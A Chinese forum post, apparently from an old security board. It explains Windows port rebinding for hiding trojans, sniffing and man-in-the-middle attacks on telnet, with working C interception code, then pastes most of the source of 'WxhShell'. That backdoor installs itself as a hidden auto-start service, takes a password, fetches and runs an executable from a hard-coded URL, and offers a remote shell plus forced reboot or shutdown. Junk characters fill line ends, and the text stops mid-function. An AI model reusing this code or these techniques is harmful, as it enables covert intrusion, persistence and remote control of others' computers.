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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $**r(HV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d ysC4DS  
'U\<IL#U  
  saddr.sin_family = AF_INET; [Z}9>~m  
$D|e>U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T<55a6NoK  
4DL)rkO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l%1!a  
woD>!r>)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j ~1B|,H  
Zf65`K3  
  这意味着什么?意味着可以进行如下的攻击: o1h={ao  
?C&z]f3(:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K0 }p i +=  
JU^lyi!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8>WC5%f*  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @jsDq Ln  
Q=/</|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q&W[j5E  
"3)4vuX@;c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k=4N.*#`y  
CkdP#}f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^7 &5 z&o  
Ipq"E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uFPF!Ern  
7 D^gMN%p  
  #include [`c^ 4 E  
  #include zY"1drE>G  
  #include @M5#S7q";  
  #include    9+{G8$Ai  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JSTuXW  
  int main() O"c;|zCc>  
  { y6[IfcN  
  WORD wVersionRequested; (<}&DE  
  DWORD ret; /q5v"iX]T  
  WSADATA wsaData; 37|&?||  
  BOOL val; t 0|!(3  
  SOCKADDR_IN saddr; ) `A3M)  
  SOCKADDR_IN scaddr; Vc2A  
  int err; n 3D;"a3  
  SOCKET s; d [V;&U  
  SOCKET sc; o8-^cP1  
  int caddsize; LS88.w\=S@  
  HANDLE mt; Zy(W^~NT  
  DWORD tid;   8$;=Uf,x  
  wVersionRequested = MAKEWORD( 2, 2 ); ]2\VweV  
  err = WSAStartup( wVersionRequested, &wsaData ); 79xx2  
  if ( err != 0 ) { EodQ*{l  
  printf("error!WSAStartup failed!\n"); '{ V0M<O  
  return -1; ?Vf o+a,  
  } N =QfP  
  saddr.sin_family = AF_INET; Y! gCMLL  
   b7wvaRe.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V&\[)D'c  
gm[z[~X@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D~$r\ ]av  
  saddr.sin_port = htons(23); ?l^1 *Q,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zN"J}r:  
  { P)MDPI+~  
  printf("error!socket failed!\n"); (KF=On;=Y  
  return -1; twlk-2yT!  
  } v4.#;F.\m  
  val = TRUE; oWC@w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D(H>R&b!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &qr;IL7'  
  { ML8<4o  
  printf("error!setsockopt failed!\n"); H s"HID  
  return -1; )>`G  
  } 6DuEL=C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [3--(#R\}?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7TDy.]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `R=HKtr?  
|]ZYa.+:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =MLcm^b  
  { OC<5E121>Y  
  ret=GetLastError(); .P MZX%*v  
  printf("error!bind failed!\n"); J1:1B ,^y  
  return -1; 1PP $XJtyD  
  } M#=] k  
  listen(s,2); cQ" ~\  
  while(1) }C>{uXv  
  { _oUHJ~&,  
  caddsize = sizeof(scaddr); t[oT-r  
  //接受连接请求 ZObhF#Y9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t{WzKy  
  if(sc!=INVALID_SOCKET) O2BDL1o  
  { LM-J !44  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hijgF@  
  if(mt==NULL) 8qEVOZjV&  
  { vOc 9ZE  
  printf("Thread Creat Failed!\n"); '_/Bp4i  
  break; fmiz,$O4?  
  } x>*Drm 7  
  } qASqscO  
  CloseHandle(mt); uec!RKE  
  } x\s|n{  
  closesocket(s); ^,;z|f'% *  
  WSACleanup(); , eZ1uBI?  
  return 0; Qi LEL  
  }   %d(^d  
  DWORD WINAPI ClientThread(LPVOID lpParam) .%Ta]!0  
  { X~<("  
  SOCKET ss = (SOCKET)lpParam; *EZHJt9  
  SOCKET sc; e*;c(3>(  
  unsigned char buf[4096]; ulkJR-""&  
  SOCKADDR_IN saddr; /U"CO8Da  
  long num; 3`ELKq  
  DWORD val; MF'$~gxo  
  DWORD ret; t $xY #:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v%s`~~u%^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (''M{n  
  saddr.sin_family = AF_INET; ~YRDyQ:%T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Mc%Nf$XQ  
  saddr.sin_port = htons(23); UF<uU-C"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pSr{>;bN  
  { x-AZ %)N9  
  printf("error!socket failed!\n"); /~Z?27F6@  
  return -1; LK, bO|  
  } Pp`*]Ib  
  val = 100; hDcEGU_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vpld*TL*  
  { "(3BvMA&!9  
  ret = GetLastError(); 8-_QFgY  
  return -1; _&j}<K$- (  
  } _`_%Y(Xat  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nM-h&na{s  
  { 'eJ+JM<0%  
  ret = GetLastError(); b D[!/'4eJ  
  return -1; M5*{  
  } I{lT>go  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,>:;#2+og  
  { #L{OV)a<  
  printf("error!socket connect failed!\n"); 3'c0#h@VD  
  closesocket(sc); N\#MwLm  
  closesocket(ss);  k7>|q"0C  
  return -1; *hQTO=WF  
  } 20iq2  
  while(1) :w<V  
  { )YX 'N<[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q*7zx_ o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yI ld75S`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eXK o.JL  
  num = recv(ss,buf,4096,0); B|4X}*@SX  
  if(num>0) hlJq-*6'  
  send(sc,buf,num,0); rfgI$eu   
  else if(num==0) S6+y?,^  
  break; Wo7F  
  num = recv(sc,buf,4096,0); >OG:vw)E  
  if(num>0) phn9:{TI  
  send(ss,buf,num,0); &s$(g~ 4gC  
  else if(num==0) .GsO.#p{  
  break; C!R1})_^  
  } dd\n8f  
  closesocket(ss); EvWzq%z l  
  closesocket(sc); 5o6>T!  
  return 0 ; <HJl2p N  
  } "=+ 7-`  
i%g#+Gw  
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========================================================== d8m6B6 CW  
MH{GR)ng:9  
下边附上一个代码,,WXhSHELL 05spovO/'  
;[W"mlM  
========================================================== K,w"_T  
;w%*M}`5  
#include "stdafx.h" cFJ-Mkl l  
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#include <stdio.h> B7]C]=${m  
#include <string.h> ^B@Wp  
#include <windows.h> rDQ!zlg>l  
#include <winsock2.h> c{&*w")J  
#include <winsvc.h> ,WG<hgg-U)  
#include <urlmon.h> :^fcC[$K  
"7v@Rye  
#pragma comment (lib, "Ws2_32.lib") 2con[!U  
#pragma comment (lib, "urlmon.lib") E6,4RuCK  
Z0*ljT5|  
#define MAX_USER   100 // 最大客户端连接数 <6fv1d+v  
#define BUF_SOCK   200 // sock buffer *0|IXGr  
#define KEY_BUFF   255 // 输入 buffer L}FO jrN  
HS.^y x  
#define REBOOT     0   // 重启 >TP7 }u|  
#define SHUTDOWN   1   // 关机 CXO2N1~(J  
S=nP[s  
#define DEF_PORT   5000 // 监听端口 ec gtUb8K  
Cf:#( D  
#define REG_LEN     16   // 注册表键长度 u_ '!_T L  
#define SVC_LEN     80   // NT服务名长度 4lM8\Lr  
N @#c,,  
// 从dll定义API <TE%Prd}`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w 1Ec_y{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VB?O hk]<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jU3Z*Z)zN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~{D[ >j][  
8?i7U<CB  
// wxhshell配置信息 (&P9+Tl  
struct WSCFG { 0q*r  
  int ws_port;         // 监听端口 1 I*7SkgKv  
  char ws_passstr[REG_LEN]; // 口令 z9p05NFH  
  int ws_autoins;       // 安装标记, 1=yes 0=no `KCh*i  
  char ws_regname[REG_LEN]; // 注册表键名 Da v PYg  
  char ws_svcname[REG_LEN]; // 服务名 d5>H3D{49  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (C\hVy2X?N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jC3Vbm&ZZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P{5-Mx!{&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6}(J6T46M[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p<&Xd}]"^W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @0eHS +  
<N`J`J-[  
}; #_|sgS?1  
zOSs[[  
// default Wxhshell configuration rC7``#5  
struct WSCFG wscfg={DEF_PORT, 2<][%> '  
    "xuhuanlingzhe", F! X}(N?t  
    1, +E;2d-x*p  
    "Wxhshell", sU"}-de  
    "Wxhshell", cwuO[^S}  
            "WxhShell Service", I`w4Xrd  
    "Wrsky Windows CmdShell Service", (__yh^h:m  
    "Please Input Your Password: ", 7;tJK^J`  
  1, !bD@aVf?5  
  "http://www.wrsky.com/wxhshell.exe", >rP#ukr5  
  "Wxhshell.exe"  X!j{o  
    }; g >'p>}t  
v|ck>_" .  
// 消息定义模块 oP2fX_v1x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )' hH^(Yu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dDD<E?TjD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #9m$ N  
char *msg_ws_ext="\n\rExit."; 3G meD/6  
char *msg_ws_end="\n\rQuit."; % ',F  
char *msg_ws_boot="\n\rReboot..."; qA:#iJ8w  
char *msg_ws_poff="\n\rShutdown..."; O0:)X)b  
char *msg_ws_down="\n\rSave to "; ~-#yOu ,w  
C'!;J  
char *msg_ws_err="\n\rErr!"; yCXrVN:`,  
char *msg_ws_ok="\n\rOK!"; O$g_@B0E1  
ZKz,|+X0G  
char ExeFile[MAX_PATH]; Cv*x2KF G  
int nUser = 0; 2iU7 0(H  
HANDLE handles[MAX_USER]; VN 'Wq7>6  
int OsIsNt; W>=o*{(YO  
N 6T{  
SERVICE_STATUS       serviceStatus; 4_D@ST%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o%4Gd~  
5I,gBT|B  
// 函数声明 jr /lk  
int Install(void); $v`afd y  
int Uninstall(void); O Lc}_  
int DownloadFile(char *sURL, SOCKET wsh); Ka|eFprS  
int Boot(int flag); jS!`2li?{  
void HideProc(void); S/`%Q2za4  
int GetOsVer(void); Ln.ZVMZ;  
int Wxhshell(SOCKET wsl); Xwa_3Xm*Le  
void TalkWithClient(void *cs); Qe'g3z>  
int CmdShell(SOCKET sock);  x-'~Bu  
int StartFromService(void); XG@`ZJhU6  
int StartWxhshell(LPSTR lpCmdLine); J@ L9p46,  
S|zW^|YU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <X_!x_x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !~ZP{IXyo  
m,R Dr  
// 数据结构和表定义 jDRe)bo4  
SERVICE_TABLE_ENTRY DispatchTable[] = nq1 9Q)  
{ %Td )0Lqp  
{wscfg.ws_svcname, NTServiceMain}, u0RS)&  
{NULL, NULL} %y<ejM  
}; g2R@`./S  
ya -i^i\  
// 自我安装 *<'M!iRC  
int Install(void) O3N_\B:  
{ ,SScf98,j  
  char svExeFile[MAX_PATH]; u=&Bmn_  
  HKEY key; -z:&*=  
  strcpy(svExeFile,ExeFile); s-W[ .r|  
D\~e&0*  
// 如果是win9x系统,修改注册表设为自启动 6] z}#"  
if(!OsIsNt) { )B!d,HKt;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A K/z6XGy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 70B)|<$  
  RegCloseKey(key); k]rLjcB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kLS(w??T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tehUD&  
  RegCloseKey(key); )2Hff.  
  return 0; nd{R 9B  
    } ;$BdP7i:  
  } XjE>k!=I  
} %g cc y|  
else { S*"u/b;  
-Z^4L  
// 如果是NT以上系统,安装为系统服务 CkRX>)=py  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zQH]s?v  
if (schSCManager!=0) t/Z:)4Z  
{ p8+/\Ee]B  
  SC_HANDLE schService = CreateService Dz_eB"}  
  ( DP7C?}(  
  schSCManager, 3P <'F2o  
  wscfg.ws_svcname, [ B0K  
  wscfg.ws_svcdisp, BwJuYH7QJ$  
  SERVICE_ALL_ACCESS, np WEop>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vtMJ@!MN;  
  SERVICE_AUTO_START, ]]cYLaq(  
  SERVICE_ERROR_NORMAL, eeUp 1g  
  svExeFile, S^cH}-+  
  NULL, }wSy  
  NULL, Hh kN^S,  
  NULL, D6Y6^eS-  
  NULL, #^&jW  
  NULL WjM>kWv  
  ); \h3e-)  
  if (schService!=0) z]Acs  
  { (_9|w|(  
  CloseServiceHandle(schService); =!ac7i\F  
  CloseServiceHandle(schSCManager); f]d!hz!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jbp5'e _  
  strcat(svExeFile,wscfg.ws_svcname); E=/[s]@5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C;a@Jjor'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >Jm"2U}lZW  
  RegCloseKey(key); TK>{qxt:=  
  return 0; u8OxD  
    } aEx(rLd+  
  } idJh^YD  
  CloseServiceHandle(schSCManager); "]t>ZT:OJ  
} IX?ZbtdX$`  
} *+8%kn`c  
i~&c|  
return 1; 16@);Ot  
} "A]Y~iQ  
zfjTQMaxh  
// 自我卸载 (:Cc3  
int Uninstall(void) %^9:%ytt  
{ `W[+%b  
  HKEY key; XLTD;[jO  
rF'R >/H  
if(!OsIsNt) { daOS8_py  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C>*n9l[M~  
  RegDeleteValue(key,wscfg.ws_regname); +zRh fIJHH  
  RegCloseKey(key); %{STz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C=VIT*=  
  RegDeleteValue(key,wscfg.ws_regname); 00M`%c/  
  RegCloseKey(key); p\U*;'hv  
  return 0; DMkhbo&+  
  } ?En7_X{C?  
} F@hYA  
} (L|}`  
else { B4O6> '  
"E>t, D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p,n\__  
if (schSCManager!=0) |5 xzl  
{ 3#Y3Dz`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q-R}qy5y  
  if (schService!=0) V_;9TC  
  { `)[dVfxA  
  if(DeleteService(schService)!=0) { abZdGnc  
  CloseServiceHandle(schService); M^ 5e~y  
  CloseServiceHandle(schSCManager); w3#`1T`N  
  return 0; V:\]cGA{  
  } U1Yo7nVf  
  CloseServiceHandle(schService); 0yHjrxc$  
  } 5 R*lVUix  
  CloseServiceHandle(schSCManager); p`GWhI?  
} [A_r1g&_  
} 797X71>  
5.k}{{+  
return 1; >38 Lt\  
}  C6)R#  
a9[<^  
// 从指定url下载文件 5OB]x?4]  
int DownloadFile(char *sURL, SOCKET wsh) RqGVp?   
{ '\L0xw4  
  HRESULT hr; Wg(bD,  
char seps[]= "/"; pruWO'b`  
char *token; {NeWdC  
char *file; l.7d$8'\  
char myURL[MAX_PATH]; IIax gfhZ  
char myFILE[MAX_PATH]; XOxB (0@  
?f@ 9nph  
strcpy(myURL,sURL); .&chdVcxyS  
  token=strtok(myURL,seps); rB evVc![  
  while(token!=NULL) L*O>IQh2  
  { XTj73 MWY  
    file=token; !~d'{sy6  
  token=strtok(NULL,seps); Yzd2G,kZ=  
  } Y*\6o7  
a*Jn#Mx<M  
GetCurrentDirectory(MAX_PATH,myFILE); Uk02IOXQ  
strcat(myFILE, "\\"); ?48AY6  
strcat(myFILE, file); ! IgoL&=  
  send(wsh,myFILE,strlen(myFILE),0); BVAr&cu  
send(wsh,"...",3,0); lzoeST  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O3+)qb!X  
  if(hr==S_OK) Bj&_IDs4  
return 0; ru(J5+H  
else SKJW%(|3  
return 1; ~BQV]BJ7  
\[k% )_  
} l% |cB93  
C.HYS S  
// 系统电源模块 \=8=wQv  
int Boot(int flag) #gI&lO*\gr  
{ <Cr8V'c  
  HANDLE hToken; L"^.0*X/d  
  TOKEN_PRIVILEGES tkp; ~T&% VvI  
~B*~'I9b*  
  if(OsIsNt) { *N'hA5.z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RnSm]}?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'g]=.K+@}  
    tkp.PrivilegeCount = 1; Q,n4i@E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :K;T Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zS?n>ElI  
if(flag==REBOOT) { #~1wv^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $vqU|]J`  
  return 0; 2R] XH 0   
} 0T1ko,C!,e  
else { *) } :l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bHJoEYY^  
  return 0; QnP{$rT  
} I)rGOda{  
  } 3XGB+$]C  
  else { blmmm(|~|  
if(flag==REBOOT) { 2x6<8J8v*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lxz  
  return 0; :4iU^6  
} Hy;901( %  
else { -HN%B?}. x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '5V^}/  
  return 0; w`0)x5 TGR  
} E\_W  
} v}&#f&q!  
)ZN(2z  
return 1; 'jN/~I  
} IyT ?-R  
$^K]&Mft  
// win9x进程隐藏模块 p6 <}3m$  
void HideProc(void) bz$Qk;m=H  
{ '}T;b}&s  
rWqkdi1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %P(;8sS  
  if ( hKernel != NULL ) E;xMPK$  
  { TMNfJz   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bSY;[{Kl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .E#<fz  
    FreeLibrary(hKernel); ;hkro$  
  } zdqnL^wb  
{f&NStiB  
return; 0Ux<16#  
} 4uX,uEa  
Esb ?U|F4  
// 获取操作系统版本 y%2%^wF  
int GetOsVer(void) a6k(9ZF  
{ fWd~-U0M^  
  OSVERSIONINFO winfo; L)1C'8 ).  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W\'Nv/L  
  GetVersionEx(&winfo); 1Jl{1;c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @uoT{E[  
  return 1; HRj7n<>L=  
  else WBy[m ?d  
  return 0; <8g=BWA  
} !8we8)7  
L#`7FaM?  
// 客户端句柄模块 0Y[*lM-  
int Wxhshell(SOCKET wsl) ~Vwk:+):  
{ m; 1'u;  
  SOCKET wsh; 0GS{F8f~,  
  struct sockaddr_in client; U) +?$ Tbm  
  DWORD myID; T.J`S(oI  
pn|p(6  
  while(nUser<MAX_USER) y#&$ f  
{ [ k!-;mi   
  int nSize=sizeof(client); ~."!l'a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lfXH7jL2~  
  if(wsh==INVALID_SOCKET) return 1; yLjV[ qP  
+g)_4fV0|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AS`2=w  
if(handles[nUser]==0) %A8Pkr<&E  
  closesocket(wsh); -QN1oK@\mE  
else BXNI(7xi  
  nUser++; FwXKRZa  
  } T!Xm")d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nt drXg  
,tcP=f dk]  
  return 0; "3\oQvi.  
} | A3U@>6  
(W7;}gysh  
// 关闭 socket i5.?g<.H  
void CloseIt(SOCKET wsh) eVZa6la"  
{ .4H_Zt[2  
closesocket(wsh); f3/SO+Me}  
nUser--; &t~zD4u B  
ExitThread(0); <9ePi9D(  
} h U 9\y  
N 9c8c  
// 客户端请求句柄 :a#F  
void TalkWithClient(void *cs) N$C{f;xV  
{ L[CU  
@>M8Pe  
  SOCKET wsh=(SOCKET)cs; &/sGh0  
  char pwd[SVC_LEN]; oK#\HD4U  
  char cmd[KEY_BUFF]; LKIW*M  
char chr[1]; C(EYM$  
int i,j; z\e>DdS  
XyvZ&d6(d  
  while (nUser < MAX_USER) { j|&{e91,?  
Vxp$#3 ;S  
if(wscfg.ws_passstr) { O|HIO&M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <sgZ3*,A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \_lG#p|  
  //ZeroMemory(pwd,KEY_BUFF); |P^]@om  
      i=0; BjH~Ml2  
  while(i<SVC_LEN) { =Dh$yC-Zr  
oP+kAV#]  
  // 设置超时 TTeAa  
  fd_set FdRead; "Q3PC!7X:5  
  struct timeval TimeOut; xN e_qO  
  FD_ZERO(&FdRead); Sg/:n,68  
  FD_SET(wsh,&FdRead); !S~,> ,yd  
  TimeOut.tv_sec=8; O3_D~O ."  
  TimeOut.tv_usec=0; _L?v6MTj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b^uP^](J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >r;ABz/  
R#"U/8b>z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %T`4!:vy  
  pwd=chr[0]; q :TZ=bs^  
  if(chr[0]==0xd || chr[0]==0xa) { fn1 ?Qp|  
  pwd=0; H;b8I  
  break; tn"Y9 k|  
  } ATKYjhc _  
  i++; ^zvA?'s  
    } JN{<oxI  
:hC {5!|  
  // 如果是非法用户,关闭 socket v9Z lNA7m!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1 ;_{US5FR  
} g,00'z_D  
jf$JaY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =nJOaXR0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g2+l@$W  
XD;15a  
while(1) { KU1+<OCh  
fl} rz  
  ZeroMemory(cmd,KEY_BUFF); n%83jep9  
o>xxmyW|  
      // 自动支持客户端 telnet标准   ?D RFsA  
  j=0; [ea6dv4p  
  while(j<KEY_BUFF) { *]{9K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tU+@1~ ~  
  cmd[j]=chr[0]; 2"pE&QNd  
  if(chr[0]==0xa || chr[0]==0xd) { xB?S#5G}  
  cmd[j]=0; JIyBhFI  
  break; :NwMb^>  
  } qWRNHUd  
  j++; %00k1 *$  
    } Jo6~r-  
]I{qp~^#n  
  // 下载文件 n.2E8m/  
  if(strstr(cmd,"http://")) { 3v9gb,)y\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uS! 35{.>  
  if(DownloadFile(cmd,wsh)) 1$='`@8I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t 3(%UB  
  else o~i]W.SI(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8gVxiFjo  
  } 5?V?  
  else { lH#@^i|G  
5;3c<  
    switch(cmd[0]) { "/4s8.dw+u  
  3e!3.$4M  
  // 帮助 Nw9-pQ  
  case '?': { 5]4<!m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s`8M%ZLu  
    break; OYqYI!N/  
  } "C$!mdr7  
  // 安装 09}f\/  
  case 'i': { $\YLmG  
    if(Install()) cCo07R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GW>7R6i  
    else Gt\K Ln  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /RA1d<~$q  
    break; jSeA %Te  
    } $I}Hk^X  
  // 卸载 xJ[k#?T'  
  case 'r': { s${T*)S@G  
    if(Uninstall()) 'k-u9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <|KKv5[  
    else L|]w3}ZT@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nLFx/5sL  
    break; A@@)lD.  
    } <F#*:Re_y  
  // 显示 wxhshell 所在路径 .oi}SG  
  case 'p': { T3u5al  
    char svExeFile[MAX_PATH]; j61BP8E  
    strcpy(svExeFile,"\n\r"); M `9orq<  
      strcat(svExeFile,ExeFile); >D`fp  
        send(wsh,svExeFile,strlen(svExeFile),0); "Cyo<|  
    break; v@$evmA  
    } 'f=)pc#&g  
  // 重启 Ckl7rpY+  
  case 'b': { 0@sr NuW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V7B=+(xK  
    if(Boot(REBOOT)) fG8}=xH_&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #.\,y>`  
    else { [p( #WM:  
    closesocket(wsh); *O(/UVuD\  
    ExitThread(0); o@<6TlZM  
    } c:h.J4mv  
    break; )}k?r5g  
    } c{m ;"ZCFS  
  // 关机 gCk y(4  
  case 'd': { =E{{/%u{{S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9%3 r-U=  
    if(Boot(SHUTDOWN)) F$6])F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r?5@Etpg  
    else { Uf7F8JZmM  
